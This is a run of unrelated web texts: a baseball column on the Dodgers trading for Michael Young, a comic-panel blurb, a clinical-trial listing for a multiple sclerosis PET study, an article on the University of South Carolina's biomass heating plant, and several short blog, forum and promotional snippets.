The Reds traded him to the Texas Rangers, where one of the veterans took Hamilton under his wing. Hamilton spent five All-Star seasons in Texas and one of the reasons for his success was a guy who showed him that preparation for every game and every at-bat should not be optional.
The guy's name was Michael Young.
"I was fortunate enough to play with him," Hamilton said Friday at Angel Stadium. "He taught me all about having a routine and sticking with it."
The Dodgers acquired Young a week ago, a transaction that earned thumbs up in the clubhouse and thumbs down from a sabermetric community concerned that General Manager Ned Colletti had lost his stat sheet, or his ability to read it.
Young is 36. His power is largely gone. His defense is not very good any more, long removed from when he replaced Alex Rodriguez as the Rangers' shortstop.
The Dodgers understand this, and so do their players. The Dodgers did not bring him to L.A. with the expectation he would bat at the top of the lineup, play every day, or resemble the player who was a seven-time All-Star.
Young gives the Dodgers an experienced backup first baseman, for the first time this season. He can play third base too. He is a contact hitter, good enough to try as a pinch-hitter.
But it is the universal acclaim Young received from his peers that appeared to grate on the statistically minded. Former major league outfielder Gabe Kapler is as analytical as players come, and yet his Twitter post saluting Young as a "top 5 all-time teammate" drew mocking responses, including this one: "How many GQAR (Good Quotes Above Replacement) is he worth?"
In an interview Friday, Kapler said Young could do for the Dodgers what Dave Roberts did for the Boston Red Sox en route to the 2004 World Series championship: accept a backup role, help his teammates and come up with the occasional big play. Roberts will be forever beloved in Boston for one stolen base, the one that triggered a legendary comeback in the 2004 American League Championship Series.
"Whenever you make an acquisition, you evaluate a player on his makeup — plus, neutral or minus," Kapler said. "When you're making an acquisition down the stretch, it's more important that you don't bring a minus in the clubhouse. It's like icing if you get a plus.
"I see Mike as a plus-plus makeup guy."
Kapler and Joe Nathan, the Rangers' closer, each talked of how players gravitate toward Young, how he can mesh with every circle of players on a team, how he injects positive energy into the clubhouse.
"He acts like he's a Little Leaguer every day," Nathan said.
Said Hamilton: "He's kind of like [Derek] Jeter, a professional's professional. He prepares himself well — on the field, off the field and in the clubhouse. And he's somebody who likes to keep it loose and light."
None of these testimonials is likely to sway the sabermetric crowd. After all, leadership can't hit.
Jon Daniels, the Rangers' general manager, generally is well regarded in the analytical community. Yet he sees a place for leadership in the clubhouse.
"You have to have a balance between talent and makeup," Daniels said Friday. "You can't win with 100% of one or the other."
Daniels also rejected the notion that all teaching should come from the coaching staff, and that players should earn their spots on talent alone.
"You can have the best coaches in the world," Daniels said. "We all learn from our peers."
Young had public feuds with Daniels over position changes and trade talks, but Daniels said neither episode damaged Young's credibility as a clubhouse leader.
"We all acknowledged some of those things were not handled as well as they should have been on anyone's side," Daniels said.
In his career, Young has been a significantly above-average hitter with runners in scoring position, or with the bases loaded. If he gets a big hit off the bench — or if he gives a teammate a scouting report that leads to a hit off an unfamiliar pitcher — that would be enough to call the trade a success. (The Dodgers gave up minor league left-hander Rob Rasmussen in exchange for Young.)
"It's a case of having accurate expectations," Kapler said. "I think the Dodgers acquired Michael Young to get a couple of big hits in September and October. I think he will."
You never know. The last time the Dodgers won the World Series, one of their veterans came off the bench for one at-bat. His name was Kirk Gibson, and it worked out pretty well.
Twitter: @BillShaikin


text:
Pardon My Planet is a visual record of the nincompoopities of the human spirit. This imaginatively sly panel peeks under the veil of the taboo and paints a smiley face on the shroud. Deftly balancing the tightrope of political correctness, Pardon My Planet gives us a rubbernecker's eye-view into the boarded up attic of the human psyche.
In much the same way Charles Adams tweaked the norms of mainstream cartoons, Vic Lee twists a wide variety of subject matter ranging from courtship, marriage and divorce to birth, death, the afterlife and all the fears in between, including doctors, lawyers, monsters, and puberty.
Eschewing the silly and safe, Pardon My Planet is a panel for today's educated readers. By finding humor in all that makes us uncomfortable, Lee provides a sense of resolve about the fickleness of life and lets us all laugh at the goof-ball foibles of real people, laying bare the annoyances and eccentricities of the human race.
Pardon My Planet appears in more than 130 newspapers including the Los Angeles Times, Toronto Star, Chicago Sun-Times, San Francisco Chronicle, New York Newsday, Detroit Free-Press, Philadelphia Inquirer, Denver Post, Atlanta Journal-Constitution and Perth Western Australianer to name a few.
If there is intelligent life in the universe, may it forgive us our shortcomings and celebrate our spirit.
Best friends and roommates represent all the young twenty-somethings who face each of the world's daily challenges with a gut full of alternating bouts of hope, doubt and downright panic. And this is during their sleep.
Middle-class suburbanites Dennis and Chloe wear the mantle of all those trying to balance the stress of being working parents with the stress of keeping their romance as renewed as a newborn's diaper. As in all walks of life nothing is without its little messes.
Long-time marrieds Jonas and Nelle search for independence amid their co-dependency. It's their distaste for each other that adds so much flavor to their relationship. Butting heads is as much a part of their daily routine as Medic Alert and Maalox.
Mia is the yin to Jesse Jane's yang. Not one to beat around the bush, she's direct, frank, and often gives us a subtle insight to the American condition. She's a conscience with both a halo and a pitchfork.
Disco-stud whose dates always end at the doorstep. Because two people can't fit under a rock.
Local doctor. Believes in the benefits of Western medicine. Instruments include a lasso and a branding iron.
Bartender and local therapist. His drinks and advice are always served straight up.
It's amazing how much some people hate to work for a living.
Mr. Bork
Women find his funny style of dress irresistible. Seems all his clothes have such deep pockets.
Community grandmother. Still proudly drives. Closely watches the speedometer 'cause she can't see over it.
The local law enforcement team. Where theres foul play, there are Officers Tim and Jim, with Inspector Booker arriving shortly.
Whether its investigating pillow fights at a bed-of-nails slumber party or discovering a 6-year-old taking an afternoon snooze and thereby solving a kidnapping case, they keep the order in disorder.
Attorney who believes in the American Way. Now if it can just be separated from that silly truth-and-justice part.
Father Rafferty
Local minister who marries 'em and buries 'em. Also acts a grief counselor for both.
See what the Royal Membership is all about.


text:
Brain Peripheral Benzodiazepine Receptors in Patients With Multiple Sclerosis
|The safety and scientific validity of this study is the responsibility of the study sponsor and investigators. Listing a study does not mean it has been evaluated by the U.S. Federal Government. Read our disclaimer for details.
|ClinicalTrials.gov Identifier: NCT00432900
Recruitment Status : Completed
First Posted : February 8, 2007
Last Update Posted : July 18, 2019
- Study Details
- Tabular View
- No Results Posted
- Disclaimer
- How to Read a Study Record
This study will use positron emission tomography (PET) to measure a brain protein called peripheral benzodiazepine receptor (PBR) in patients with multiple sclerosis. PBR is created during the inflammation process, and brain inflammation is a key feature of multiple sclerosis (MS). PBR usually affects one type of brain cell, but it can also cause damage to surrounding areas of the brain in patients with MS. PET studies of PBRs and brain inflammation may help elucidate the role of these brain cells in patients with MS.
Healthy normal volunteers and patients with MS between 18 and 70 years of age may be eligible for this study. Patients with MS must have had onset of disease between 18 and 40 years of age.
Patients with MS undergo the following procedures:
Visit 1: Medical history, physical examination, blood tests and magnetic resonance imaging (MRI).
Visit 2: Blood tests and PET scan.
Visits 3 and 4: MRI and physical examination.
Visit 5: PET scan and blood tests.
Visit 6: MRI and physical examination.
Healthy volunteers undergo the following:
Visit 1: Medical history, physical examination, blood tests.
Visits 2 and 3: PET and blood tests.
Magnetic Resonance Imaging
MRI uses a magnetic field and radio waves to produce images of body tissues and organs. For this procedure, the subject lies on a table that can slide in and out of the scanner (a metal cylinder), wearing earplugs to muffle loud knocking noises that occur during the scanning process. The procedure lasts about 90 minutes; the patient is asked to lie still for up to 25 minutes at a time. The subject can communicate with the MRI staff at all times during the scan. During part of the scan a contrast agent is administered through a catheter (plastic tube) placed in an arm vein to enhance the images.
Positron Emission Tomography (PET)
The PET scan gives information on brain and body chemistry and function. The subject lies on a bed that slides in and out of the doughnut-shaped scanner. A catheter is placed in a vein in the arm and another is placed in an artery in the wrist or elbow area. The catheter in the arm is used for injecting a radioactive material that the scanner detects, and the other is used to collect blood samples. A custom-molded plastic mask is used to support the head and prevent it from moving during the procedure. The subject may be asked to perform various tasks during the PET scan or to lie quietly. The scan lasts about 2.5 hours.
|Condition or disease
|Multiple Sclerosis
|Radiation: [(11)C]PBR28
|Phase 1
The primary objective of this study is to measure brain peripheral benzodiazepine receptor (PBR) expression as a marker of neuroinflammation in subjects with MS using [(11)C]PBR28 PET imaging. Inflammation in the central nervous system (CNS) is a prominent feature of multiple sclerosis (MS), the leading cause of neurological disability in young adults. A complex sequence of inflammatory events leads to the formation of new lesions. The disruption of blood-brain barrier that occurs during this inflammatory cascade is the basis of Gadolinium-DTPA (Gd-DTPA) enhancing lesion on magnetic resonance imaging (MRI), currently the most widely utilized marker of neuroinflammation in MS. Although Gd-DTPA enhancement correlates with acute clinical relapses, its limitation as a biomarker of disease activity includes the relative insensitivity to mild degrees of inflammation and the lack of correlation to long-term disability. An alternative marker of neuroinflammation may, therefore, be informative. Activated microglia and macrophage constitute the secondary effector cells of CNS inflammation in MS. Recent studies investigating the expression of the peripheral benzodiazepine receptor (PBR) in the CNS have shown that the increased expression of PBR is a marker of activated microglia/macrophage. Specific ligands for PBR have allowed the study of activated microglia/macrophage in vivo through positron emission tomography (PET) imaging in a number of settings including inflammatory, ischemic and toxic injury to the CNS. The availability of a novel PBR ligand [(11)C]PBR28 developed by the Molecular Imaging Branch, NIMH, that demonstrated greater specific signal for PBR than the previously available ligands affords a unique opportunity to investigate a cell-type specific marker of neuroinflammation in MS.
Subjects with definite MS (McDonald criteria) with evidence of brain inflammatory activity indicated by presence of Gd-DTPA enhancing lesions on MRI and a control group consisting of age-matched healthy volunteers.
Up to 32 subjects with MS will undergo screening TSPO genotype analysis by PCR to accrue up to 16 MS subjects with confirmed high- or mixed- affinity binding genotype (HL or HH genotype) who will undergo a brain [(11)C]PBR28 PET and MRI imaging. Subjects with MS will undergo follow-up brain [(11)C]PBR28 PET and MRI at approximately 4-month interval. Subjects will undergo clinical examination at each PET imaging time point to assess clinical measures of disability and impairment. Up to an equal number of age-matched healthy volunteers will undergo screening TSPO genotype analysis by PCR. Up to 16 healthy volunteers with confirmed high- or mixed- affinity binding genotype (HL or HH genotype)undergo test retest brain [(11)C]PBR28 PET studies to determine the reproducibility of [(11)C]PBR28 PET in a healthy population compared to MS.
The study seeks to test PBR expression measured by [(11)C]PBR28 PET imaging as a marker of neuroinflammation in patients with MS. Primary outcome measures include 1) correlation between increased PBR expression and gadolinium-enhancing lesions on MRI, and 2) correlation between increased PBR expression and previously and/or persistently gadolinium-enhancing lesions on MRI, 3) PBR expression in subjects with multiple sclerosis compared to that in healthy volunteers.
|Study Type :
|Interventional (Clinical Trial)
|Actual Enrollment :
|21 participants
|Intervention Model:
|Single Group Assignment
|None (Open Label)
|Primary Purpose:
|Basic Science
|Official Title:
|PET Evaluation of Brain Peripheral Benzodiazepine Receptors Using [(11)C]PBR28 in Patients With Multiple Sclerosis (MS)
|Study Start Date :
|February 5, 2007
|Actual Primary Completion Date :
|May 23, 2013
|Actual Study Completion Date :
|May 29, 2013
Active Comparator: Healthy Volunteer
Healthy Volunteers
Radiation: [(11)C]PBR28
PET Ligand
Experimental: Patient
Multiple Sclerosis Patients
Radiation: [(11)C]PBR28
PET Ligand
- Correspondence between increased PBR expression measured by [11C]PBR28 PET and gadolinium-enhancing lesions on MRI. [ Time Frame: At time of dosing ]
- Correspondence between increased PBR expression and previously and/or persistently gadolinium-enhancing lesions on MRI. [ Time Frame: At time of dosing ]
- Correspondence between PBR expression and other MRI defined pathology including T2-weighted hyperintense and T1-weighted hypointense lesions. [ Time Frame: Follow-up (~Month 4) ]
- Correspondence between PBR expression and normal appearing white and gray matter on MRI. [ Time Frame: Follow-up (~Month 4) ]
Choosing to participate in a study is an important personal decision. Talk with your doctor and family members or friends about deciding to join a study. To learn more about this study, you or your doctor may contact the study research staff using the contacts provided below. For general information, Learn About Clinical Studies.
|Ages Eligible for Study:
|18 Years to 70 Years (Adult, Older Adult)
|Sexes Eligible for Study:
|Accepts Healthy Volunteers:
- Ages between 18 and 70, inclusive.
- Diagnosis of definite MS according to published criteria.
- The presence of at least one gadolinium-enhancing lesion on the screening brain magnetic resonance image (MRI), and T2 lesion load volume greater than 5 cc.
- Subjects must be able to provide written, informed consent prior to any testing under this protocol, including screening and baseline investigations that are not considered part of routine patient care.
- Prior participation in other research protocols or clinical care in the last year such that radiation exposure would exceed the annual guidelines.
- Homozyous for the low- affinity binding form of TSPO by TSPO genotype analysis ( Ala147Thr polymorphism in rs6971 SNP in exon 4 of the TSPO gene).
- Pregnancy and breast-feeding.
- Presence of ferromagnetic metal in the body or heart pacemaker.
- ECG with clinically significant abnormalities.
- Positive HIV test.
- Positive pregnancy test.
- Concurrent medical conditions including hepatic cirrhosis, end-stage renal disease or any acute and severe decompensation of disease that in the opinion of the investigator would compromise the safety of the patient.
- Subjects with cognitive impairment who are unable to provide written, informed consent.
- Subjects who have received immunomodulatory/disease-modifying therapy, including investigational MS therapy, within 12 weeks prior to PET imaging or who have received corticosteroids within 6 weeks prior to PET imaging.
All subjects must be healthy and aged 18-70 years.
Homozyous for the low- affinity binding form of TSPO by TSPO genotype analysis ( Ala147Thr polymorphism in rs6971 SNP in exon 4 of the TSPO gene).
Current psychiatric illness, substance abuse or severe systemic disease based on history and physical exam.
ECG with clinically significant abnormalities. Any existing physical exam and ECG within one year will be reviewed and if none already exists in the chart, these will be obtained and reviewed.
Laboratory tests with clinically significant abnormalities.
Prior participation in other research protocols in the last year such that radiation exposure would exceed the annual guidelines.
Pregnancy and breast-feeding.
Positive pregnancy test.
Presence of ferromagnetic metal in the body or heart pacemaker.
Positive HIV test.
A history of brain disease.
To learn more about this study, you or your doctor may contact the study research staff using the contact information provided by the sponsor.
Please refer to this study by its ClinicalTrials.gov identifier (NCT number): NCT00432900
|United States, Maryland
|National Institutes of Health Clinical Center, 9000 Rockville Pike
|Bethesda, Maryland, United States, 20892
|Principal Investigator:
|Steven Jacobson, Ph.D.
|National Institute of Neurological Disorders and Stroke (NINDS)
|ClinicalTrials.gov Identifier:
|NCT00432900 History of Changes
|Other Study ID Numbers:
|First Posted:
|February 8, 2007 Key Record Dates
|Last Update Posted:
|July 18, 2019
|Last Verified:
|April 22, 2014
Keywords provided by National Institutes of Health Clinical Center (CC):
Multiple Sclerosis
Healthy Volunteer
Additional relevant MeSH terms:
Multiple Sclerosis
Pathologic Processes
Demyelinating Autoimmune Diseases, CNS
Autoimmune Diseases of the Nervous System
Nervous System Diseases
Demyelinating Diseases
Autoimmune Diseases
Immune System Diseases


text:
U.S. Farmers & Ranchers Alliance (USFRA) consists of more than 100 farmer and rancher led organizations and agricultural partners representing virtually all aspects of agriculture, working to engage in dialogue with consumers who have questions about how today's food is grown and raised. USFRA is committed to continuous improvement and supporting U.S. farmers & ranchers' efforts to increase confidence and trust in today's agriculture.
Our Values, Our Commitment
- Americans eat and drink what we grow and raise.
- Our life's work feeds and nourishes our families, our neighbors, our communities, and our country.
- We embrace this great responsibility as stewards of our food, our land and our animals.
- We commit to working together, regardless of type, size or philosophy of our farms and ranches, to continue improving our food supply.
- We commit to doing everything in our power to protect and improve human health and the enjoyment of our food.
- We commit to making the environment – the land, air and water that belongs to all of us – healthier and sustainable for all generations.
- We commit to keeping our animals healthy and well cared for.
- We commit to the business of farming and the health of our economy, knowing that what makes our businesses stronger is producing the highest quality products.
- We commit to sharing information about our methods freely and openly.
Farming and ranching is our profession – but for most of us, it is also our life. The food we grow and raise reflects our characters, our commitments and our lives.
Are you interested in supporting USFRA? Your investment will help support our mission. If you would like additional information about participating in the U.S. Farmers & Ranchers Alliance, please contact us at firstname.lastname@example.com or call 636-449-5061.


text:
Haartez published yesterday an interview with Israeli peace activist Gershon Baskin who claimed that Hamas late leader Ahmed Jaabari received a draft of long truce between Hamas and Israel. Unfortunately the interview is available for the website subscribers only after it was available for everybody yesterday.
Baskin who mediated between Hamas and Israeli government as well the Egyptian intelligence in the Galid Shalit case spoke about long truce talks that was between him , Hamas and Egyptian intelligence. Baskin also says that he informed Israeli officials nevertheless they went on their plan.
To be honest I will not be surprised at all if this turns to be true because I remember when Sheikh Ahmed Yassin was assassinated sources in Cairo spoke that the Hamas founder was ok with a long term truce "30 years" on the condition that Palestinians would have a state based on the Pre-1967 borders. "242 resolution"
I will not be surprised or shocked because aside from all the usual debate , there are some people in Israel who have got huge benefit in keeping the ongoing struggle and the fear factor aside from the elections games.


text:
HI dears,
Today's a day full of great workshops at the forest!!!
starting with LIFE DRAWING taster 10-12 at the bristo hall.
If you have never tried life drawing, get yourself down there, grab a paper and some charcoal and give it a go!!
Theres no instructors, you just walk in, you can take your drawing stuff with you or use what we have, and join in the fun. There are drawing boards there too and of course a fab model.
Followed by:
1200-1300 Body Building
1300-1400 Knitting workshop
1400-1500 Doodlingdrawingscribbling therapy
1500-1600 Portuguese Workshop
1700-1800 Book Club
and a PSYCHEDELIC CEILIDH from 8pm on.
it will be a beehive, DON'T MISS IT!!!!!!
Forest is people. People is you. You is us.
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text:
Biomass on Campus
It's a big job keeping 27,000 students warm though the winter. The University of South Carolina in Columbia looked to a new source of heat and found that the savings would be measured in the millions of dollars.
When the University of South Carolina decided to see what steps it could take to reduce the carbon footprint of its Columbia campus, the three natural gas-fired boilers that provide heat to more than 27,000 students was an obvious choice. As part of a comprehensive energy conservation plan, the university has built a biomass heating system to replace two of the campus's fossil fuel boilers while providing its own electrical power.
The university hired Johnson Controls Inc. to do a comprehensive energy audit of the school's campus and implement projects to increase energy efficiency, says Helen Zeigler, USC associate vice president for business and facilities. Johnson Controls is a $36 billion a year diversified company with core businesses in building efficiency and control and power technology. After four months of study, Johnson Controls submitted a list of 18 projects that would reduce the consumption of fossil fuels on campus and would pay for themselves in a 10-year period, which was a criteria set by the university. "We are trying to keep the campus warm and do it in a greener and less costly way," Zeigler says.
In July 2006, Johnson Controls began construction of the biomass-fired steam system. The original contract to build the facility was for $16 million, but changes made in response to residents' concerns over noise and dust added another $1 million to the cost. The facility was enclosed in a shell that complemented the architecture of the campus. An electrostatic precipitator was added to control emissions. The final change was that fuel deliveries were rerouted and rescheduled to minimize traffic congestion and noise in the residential neighborhoods surrounding the campus. "We decided to invest the additional money to meet those concerns and be a good neighbor while we built this," Zeigler says.
Education was the key step to gaining community acceptance of the project, Zeigler says. "First we had to educate ourselves because we had never heard of a facility like this prior to Johnson Controls proposing it," she says. "Once we were comfortable with the technology, we began meeting with neighborhood groups about what we were going to put on the site. Once we met all the concerns of the neighborhood groups, they have become very supportive of the project. They see that we are a university and if anyone is going to take a leadership role of trying new technologies, we should and will do that."
Three Nexterra Energy gasifiers supply enough syngas to provide 80 percent of the USC's peak winter heat demand plus generate 1.38 MW of electricity.
The original permit for the plant didn't require air quality control equipment, although the U.S. EPA was reviewing its regulations for biomass plants as the plant was being designed. The particulate control system was added in part to anticipate it being required in the new regulations and to ease community concerns. Many other issues were also addressed in the permitting process. "The plant is in a very sensitive location as far as nearby residences, a flood plain, railroads and a nearby airport," says Ken Detwiler, senior project manager for Johnson Controls. "So we have had to address permitting issues regarding all of those things."
A Big Job
Supplying heat to the university campus was a major undertaking, Detwiler says. The campus is spread out across much of the community and includes more than 170 buildings. "All of the steam distribution system is underground and very extensive," he says.
The facility will run on wood waste from the International Paper Co. plant in Newberry, S.C., about 40 miles from the campus. The fuel will be primarily bark, which is a byproduct of the wood chipping process. "There is a tremendous amount of waste wood when they strip the trees of their bark," Detwiler says. "We are getting that bark ground up and shipped to our plant. We will store the bark on site." The facility will require 57,000 tons of wood per year-about 10 semi-trailer loads a day-for fuel.
The biomass gasifier and boiler were built by Nexterra Energy Corp., a Canadian firm. In October 2007, during the project in South Carolina, Johnson Controls and Nexterra formed a strategic alliance where the two companies will jointly develop and implement biomass gasification projects.
The USC system will have the capacity to produce enough steam to provide about 80 percent of the heating needs of the campus. The waste wood is turned into synthesis gas in a low-oxygen pyrolysis process. The gas is reformed at the top of the gasifier into a mixture of methane, hydrogen and carbon monoxide. The gas is fed into an oxidizing chamber where air is added to produce combustion. "You are actually burning gases rather than burning wood," Detwiler explains. "It is a much cleaner process when we do it that way."
The combustion process raises the temperature of the gases to about 1,900 degrees Fahrenheit. The hot gases are fed into a waste-heat boiler that generates steam at 600 pounds per square inch (psi) at 740 degrees F. The system can generate 60,000 pounds of steam per hour.
The gasifier produces steam at a higher pressure than is needed for the heating system. That extra pressure is used to turn a backpressure turbine generator to produce electricity.
The Nexterra gasifier breaks biomass down into combustible gases which are burned to heat high pressure boilers.
The generators will produce enough electricity to power the biomass facility and to power another energy facility on the same side of campus. The system has a generation capacity of 1.38 megawatts. "That power offsets the amount of power in the biomass plant that we need to generate the steam," Detwiler says. "We have a little bit of excess capacity that we send up to the university grid to offset what they take off the utility grid."
The backpressure turbine reduces the pressure of the steam to 130 psi for distribution to the campus. The steam then flows through more than seven miles of pipes in the underground distribution system to dorms, classrooms, labs, offices and other facilities. "We had to add 3,300 feet of piping just to interconnect to the existing energy plants," Detwiler says.
In the original plan the facility was housed in a simple shelter leaving much of the plant equipment exposed, Detwiler says. "The university decided it wouldn't be beneficial to leave it exposed like that," he says. "They decided to enclose the whole facility and we provided quite a few architectural upgrades to make it more pleasing. It turned out to be quite a showplace and we have gotten a lot of positive feedback from the neighborhood."
The biomass facility was completed in early December 2007. The first few days of operations showed that some of the systems supporting the gasifier needed adjustments, but the core system was running well, Zeigler says. "We've been pleased when it has been up and running," she says. "It has been producing the steam just as it was designed to do. We have had to tweak the conveyer system that feeds the wood fuel into the gasifier unit. We've also had some issues with the reverse osmosis unit that treats the water that goes through the boiler. The things we have been dealing with don't focus on the primary thing, the gasification technology."
Save the Planet, Save Some Money
When the plan was finalized in 2004, the university projected it would save $2 million a year. Those savings will be used to pay for the project over 15 years. "After the debt is amortized, then the savings will accrue to the university," Zeigler says. "Actually, based on the current price of natural gas, we think the savings will be closer to $2.5 million a year."
The uncertainty of natural gas supplies made the project even more attractive to the university, Zeigler says. "Shortly after we entered this contract, there was a fairly large increase in the cost of natural gas," she says. "It has largely stabilized since then, but we never know what the next month is going to bring. It is one of the commodities that is hard to budget for because prices can change drastically with little notice."
At a cost of $10.65 per 1,000 cubic feet (Mcf), the university's annual natural gas costs topped $5.3 million. The biomass plant will provide the same amount of heat at a cost less than $1.5 million a year. That works out to an equivalent cost of $2.4 per Mcf of natural gas.
Along with the biomass project, Johnson Controls implemented many other money saving projects on campus. They upgraded the campus' existing energy plants including replacing chillers and cooling towers. The steam distribution system was upgraded with piping repair and replacement of condensate pumps and steam traps. In 100 buildings low-flow fixtures were installed to save water. Energy efficient lighting was installed in 107 buildings. Building management was improved by replacing pneumatic temperature controls with direct digital controls that can be monitored and controlled from a central location. Johnson Controls implemented many other smaller projects including thermal swimming pool covers, high-efficiency transformers, new air handlers, variable speed drives and VendingMiser power controls which power down vending machines when the surrounding area is vacant while maintaining the temperature of the vended product.
One aspect of the project that Zeigler appreciates is how it has multiple positive impacts for the people of South Carolina. The project will lower the university's energy costs which will mean lower tuition and taxes. It provides a market for what is now a waste product which will help the state's forestry industry. "It also helps our country as a whole to lessen our dependence on fossil fuels," she adds. "We are proud of having forged the way on this. We would encourage parties who would like to see this technology in place to get in touch with us."
Jerry W. Kram is a Biomass Magazine staff writer. Reach him at firstname.lastname@example.com or (701) 738-4962.


text:
June 17, 1934-January 30, 1997
(This gravestone is at the head of the grave and a military tombstone is at the foot of the grave.)
(Photo courtesy of Joyce Havner)
Contributed on 5/31/09 by maxparnell
Email This Contributor
Record #: 200537
Thank you for visiting the Arkansas Gravestones. On this site you can upload gravestone photos, locate ancestors and perform genealogy research. If you have a relative buried in Arkansas, we encourage you to upload a digital image using our Submit a Photo page. Contributing to this genealogy archive helps family historians and genealogy researchers locate their relatives and complete their family tree.
Submitted: 5/31/09 • Approved: 6/7/10 • Last Updated: 8/8/12 • R200537-G0-S3


text:
Last Saturday night, I decided to move a full-size mattress — and box spring — up a flight of stairs in a narrow hallway. Alone.
Why do I do these things? Where was the voice of reason saying, "Many hands make light work?"
It was being drowned out by the voice of optimism, which kept shouting, "You can do this! Probably!"
My husband and daughter were gone for the evening, and I thought I would surprise her by moving out her no-longer-wanted single bunk beds and moving in the double bed some friends had brought over earlier that day.


text:
The GATE Academy offer comprehensive & rigorous Training for the Graduate Aptitude Test in Engineering GATE Exam and various Government and Public...
Hello friends I want to do IIT Preparation with inter class exams so that I could save one year of preparation of competitive exams.Please give me...
get ready for exams. not to try only one month before but try to prepare form 5 month onwards thats why u will be able to learn all the thing, deeply
Please suggest me how to do the preparation for CAT and MAT entrances exmas???
firstly focus on the topics in which u are feared .. now concentrate on these topics . after that pic those topics which are less feared..
I taugh about this, please i need you opinion is it good to prepare for an exam when the date is very close maybe about 4days to the exam
How to be prepared for a GMAT exam like which author books you recommend and how much time to read for a good rank?
I have completed B.Sc. (chemistry) this year and would like to go for B. Ed. course. Suggest me with the subject i have to choose in the...
Is there any possibilities to get books in the form of CDs for MAH- B.Ed CET preparation ?
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text: Temple's initiatives are grounded on the theme of working together with our Chinese partners to develop carefully-selected legal professionals who will make significant contributions to the rule of law in China. Working with public and private partners, Temple accomplishes these goals through three categories of programs: the Beijing Master of Laws (LL.M.) degree program in collaboration with Tsinghua University, the non-degree judicial education program, and scholarly roundtables and capacity building workshops.


text: Do you have a big event coming up? Have you spent more time worrying about it than actually planning for it? Paul and Gina talk about two real life examples where clients have come to them with some major event that was looming up on them. They discuss how to work through the planning process and dealing with the situation if things don't quite go to plan.